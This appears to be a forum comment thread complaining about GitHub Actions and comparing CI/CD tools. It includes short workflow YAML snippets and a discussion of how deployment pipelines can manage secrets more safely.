GitHub Actions has a package manager, and it might be the worst

We had a critical outage because they deprecated Windows 2019 agents a month earlier than scheduled. MS support had the gall to both blame us for not migrating sooner, and refuse to escalate for 36 hours!

GitHub also runs a free tier with significant usage.

There are ~1.4b paid instances of Windows 10/11 desktop; and ~150m Monthly active accounts on GitHub, of which only a fraction are paid users.

Windows is generating something in the region of $30b/yr for MS, and GitHub is around $2b/yr.

MS have called out that Copilot is responsible for 40% of revenue growth in GitHub.

Windows isn't what developers buy, but it is what end users buy. There are a lot more end users than developers. Developers are also famously stingy. However, in both products the margin is in the new tech.

and switch everyone to the dumpster fire that is Azure DevOps

and if you thought GitHub Actions was bad...

I guess Bitbucket is cheaper but you'll lose the savings in your employees bitching about Bitbucket to each other on Slack.

What if GH actions is considered legacy business in favour of LLMs?

i.e. from https://github.com/actions/cache/?tab=readme-ov-file#note

   Thank you for your interest in this GitHub repo, however, right now we are not taking contributions.

   We continue to focus our resources on strategic areas that help our customers be successful while making developers' lives easier. While GitHub Actions remains a key part of this vision, we are allocating resources towards other areas of Actions and are not taking contributions to this repository at this time. The GitHub public roadmap is the best place to follow along for any updates on features we’re working on and what stage they’re in.

https://github.com/actions/create-release

(I find it extremely sketchy from a competition law perspective that Microsoft, as the owner of npm, has implemented a policy banning npm publishers from publishing via competitors to GitHub Actions - a product that Microsoft also owns. But they have; that is the reality right now, whether it's legal or not.)

I used to work for a Japanese company, and one of their core philosophies was “Don’t complain, unless you have a solution.” In my experience, this did not always have optimal outcomes: https://littlegreenviper.com/problems-and-solutions/

I used Travis rather longer ago, it was not great. Circle was a massive step forward. I don't know if they have improved it since but it only felt useful for very simplistic workflows, as soon as you needed anything complex (including any software that didn't come out of the box) you were in a really awkward place.

Once I'm encharged of budge decisions of my company I'll make sure that none will go to any MS and Atlassian product. Until then I'll keep complaining.

Don't waste your time

    steps:
      - name: backend
        image: golang
        commands:
          - go build
          - go test
      - name: frontend
        image: node
        commands:
          - npm install
          - npm run test
          - npm run build

But the moment things start to get a little complex then that's when the waste starts happening. Eventually you're going to want to _do_ something with the artifacts being built, right? So what does that look like?

Immediately that's when problems start showing up...

- You'll probably need a separate workflow that defines the same thing, but again, only this time combining them into a Docker image or a package.

    - I am only now realizing that woodpecker is a fork of Drone. This was a huuuge issue in Drone. We ended up using Starlark to generate our drone yaml because it lacked any kind of reusability and that was a big headche.

    - GitHub's free component honestly hurts itself here. I don't have to care about waste if it's mostly free anyways.

I really wish someone would take a step back and really think about the problems being solved here and where the current tooling fails us. I don't see much effort being put into the things that really suck about github actions (at least for me): legibility, waste, and the feedback loop.

By adding one file to your git repo, you get cross-platform build & test of your software that can run on every PR. If your code is open source, it's free(ish) too.

It feels like a weekend project that a couple people threw together and then has been held together by hope and prayers with more focus on scaling it than making it well designed.

I just had trauma!

I will say that SourceSafe had one advantage: You could create "composite" proxy workspaces.

You could add one or two files from one workspace, and a few from another, etc. The resulting "avatar" workspace would act like they were all in the same workspace. It was cool.

However, absolutely everything else sucked.

I don't miss it.

I suppose I would make an exception for license keys. Those have minimal blast radii if they leak.

On the one hand, CD workflows are less exposed than CI workflows. You only deploy code that has made it through your review and CI processes. In a non-continuous deployment model, you only deploy code when you decide to. You are not running your CD workflow on a third-party pull request.

On the other hand, the actual CD permission is a big deal. If you leak a credential that can deploy to your k8s cluster, you are very, very pwned. Possibly in a manner that is extremely complex to recover from.

I also admit that I find it rather surprising that so many workflows have a push model of deployment like this. My intuition for how to design a CD-style system would be:

1. A release is tagged in source control.

2. Something consumes that release tag and produces a production artifact. This might be some sort of runner that checks out the tagged release, builds it, and produces a ghcr image. Bonus points if that process is cleanly reproducible and more bonus points if there's also an attestation that the release artifact matches the specified tag and all the build environment inputs. (I think that GitHub Actions can do this, other than the bonus points, without any secrets.)

3. Something tells production to update to the new artifact. Ideally this would trigger some kind of staged deployment. Maybe it's continuous, maybe it needs manual triggering. I think that, in many production systems, this could be a message from the earlier stages that tells an agent with production privileges to download and update. It really shouldn't be that hard to make a little agent in k8s or whatever that listens to an API call from a system like GitHub Actions, authenticates it using OIDC, and follows its deployment instructions.

P.S. An attested-reproducible CD build system might be an interesting startup idea.

Of course the general purpose task runner that both run on does need to support secrets

Or: the deployment service knows the identity of the instance, so its secret is its private key

Or, how PyPI does it: the deployment service coordinates with the trusted CI/CD service to learn the identity of the machine (like its IP address, or a trusted assertion of which repository it’s running on), so the secret is handled in however that out-of-band verification step happens. (PyPI communicates with Github Actions about which pipeline from which repository is doing the deployment, for example)

It’s still just secrets all the way down

  - name: Retrieve keystore for apk signing
    env:
      KEYSTORE: ${{ secrets.KEYSTORE }}
      run: echo "$KEYSTORE" | base64 --decode > /home/runner/work/keystore.pfk

Positive example: https://github.com/codecov/codecov-action/blob/96b38e9e60ee6... Negative example: https://github.com/armbian/build/blob/54808ecff253fb71615161...

Also, using the dagger github action should make the transition easier I suppose: https://github.com/dagger/dagger-for-github

YAML is fine for data, but inevitably stuff like workflows end up tacking on imperative features to a declarative language.